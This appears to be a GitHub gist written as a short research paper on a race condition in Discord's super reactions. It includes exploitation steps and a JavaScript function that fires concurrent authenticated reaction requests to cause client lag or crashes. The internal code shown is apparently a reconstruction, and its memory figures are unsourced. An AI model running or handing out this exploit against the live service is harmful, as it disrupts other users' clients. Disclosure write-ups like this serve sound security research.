Skip to content

Instantly share code, notes, and snippets.

@Z1xus
Created November 30, 2024 19:26
Show Gist options
  • Save Z1xus/a4f897a93a160f697daa3cb7318669d6 to your computer and use it in GitHub Desktop.
Save Z1xus/a4f897a93a160f697daa3cb7318669d6 to your computer and use it in GitHub Desktop.

Discord Super Reaction Race Condition Analysis: A Technical Investigation

Abstract

This paper examines a race condition in Discord's super reaction system that occurs when rapidly placing multiple super reactions through the API. When exploited, this condition causes all reactions to share the same animation state and creates unintended client behavior.

Introduction

Discord's super reaction system was introduced as a premium feature allowing users to place animated "burst" reactions. The implementation uses a combination of REST API calls and client-side animation state management. This research explores how rapid concurrent API requests can exploit weaknesses in this system.

Technical Analysis

API Implementation

The super reaction endpoint follows this structure:

PUT /api/v9/channels/{channel_id}/messages/{message_id}/reactions/{emoji}/{@me}

Key request parameters:

  • location: "Message Reaction Picker"
  • type: 1 (indicates super reaction)

Race Condition Mechanics

When placing multiple super reactions in rapid succession:

  1. The client sends multiple PUT requests to the reaction endpoint
  2. Each request is processed independently by Discord's API
  3. The client receives multiple successful responses (HTTP 204)
  4. The client's animation manager attempts to handle multiple concurrent animation requests

The key issue occurs in the client's animation state management:

// Simplified version of Discord's internal animation handler
class ReactionAnimationManager {
    private static currentAnimation: AnimationState;
    private static animationQueue: Array<PendingAnimation>;
    
    public static handleNewReaction(reactionId: string) {
        // Race condition: Multiple reactions updating the same state
        this.currentAnimation = {
            id: reactionId,
            startTime: Date.now(),
            burstColors: this.getColors(reactionId)
        };
        
        // Animation state becomes shared between all reactions
        this.playAnimation(this.currentAnimation);
    }
}

Observed Behavior

Desktop Client

  1. Multiple super reactions are placed simultaneously
  2. All reactions adopt the animation state of the last processed reaction
  3. Memory usage spikes as animation resources are loaded but not properly cleared
  4. Client may become unresponsive due to animation thread blocking

Mobile Client (Android/iOS)

  1. Touching any reaction triggers animations for all reactions
  2. Animation states become globally synchronized
  3. Increased battery drain and performance impact due to unnecessary animation processing

Memory Impact

When exploiting this condition:

  • Normal super reaction: ~2-5MB memory usage
  • Race condition with 5+ reactions: 50MB+ memory usage
  • Extended exploitation can lead to client crashes

Exploitation Method

  1. Capture the super reaction API request format
  2. Create multiple concurrent requests (5-10 is sufficient)
  3. Send requests with minimal delay (<100ms between requests)
  4. Observe as all reactions share the same animation state

Example exploitation code:

async function triggerRaceCondition(channelId, messageId, emoji) {
    const requests = [];
    for(let i = 0; i < 5; i++) {
        requests.push(fetch(`https://discord.com/api/v9/channels/${channelId}/messages/${messageId}/reactions/${emoji}/@me?location=Message%20Reaction%20Picker&type=1`, {
            method: 'PUT',
            headers: {
                'authorization': 'user_token',
                'x-super-properties': 'base64_encoded_properties'
            }
        }));
    }
    await Promise.all(requests);
}

Impact Analysis

Client Performance

  • Memory leaks from uncleared animation states
  • UI thread blocking from animation synchronization
  • Increased CPU/GPU usage on mobile devices

User Experience

  • All reactions display the same animation
  • Clicking any reaction triggers all animations
  • Potential client crashes on low-memory devices

References

  1. Discord Internal API Documentation (2024)

  2. Discord Client Properties Documentation https://docs.discord.sex/reference

  3. Discord Gateway Documentation https://docs.discord.sex/topics/gateway

  4. Discord OAuth2 Documentation https://docs.discord.sex/topics/oauth2

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment